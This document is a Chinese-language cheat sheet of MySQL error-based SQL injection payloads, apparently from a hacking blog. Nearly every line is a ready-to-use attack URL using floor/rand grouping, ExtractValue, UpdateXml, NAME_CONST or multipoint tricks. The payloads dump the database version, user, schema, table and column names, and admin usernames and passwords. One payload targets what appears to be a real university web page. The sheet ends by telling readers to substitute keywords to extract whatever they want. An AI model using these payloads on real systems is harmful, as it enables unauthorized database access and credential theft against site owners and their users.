1、通过floor暴错

/*数据库版本*/

http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*连接用户*/

http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*连接数据库*/

http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴库*/

http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴表*/

http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴字段*/

http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴内容*/

http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2、ExtractValue(有长度限制,最长32位)

http://www.hackblog.cn/sql.php?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))

http://www.hackblog.cn/sql.php?id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

3、UpdateXml(有长度限制,最长32位)

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

4、NAME_CONST(适用于低版本)

http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261 and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--

5、Error based Double Query Injection (http://www.vaibs.in/error-based-double-query-injection/)

/*数据库版本*/

http://www.hackblog.cn/sql.php?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1

6、Multipoint(新方法)

/*数据库版本*/

http://www.hackblog.cn/sql.php?id=1 and 1=(select multipoint((select * from(select * from(select version())f)x)))

大家自己找关键字替换自己想要查询的东西。
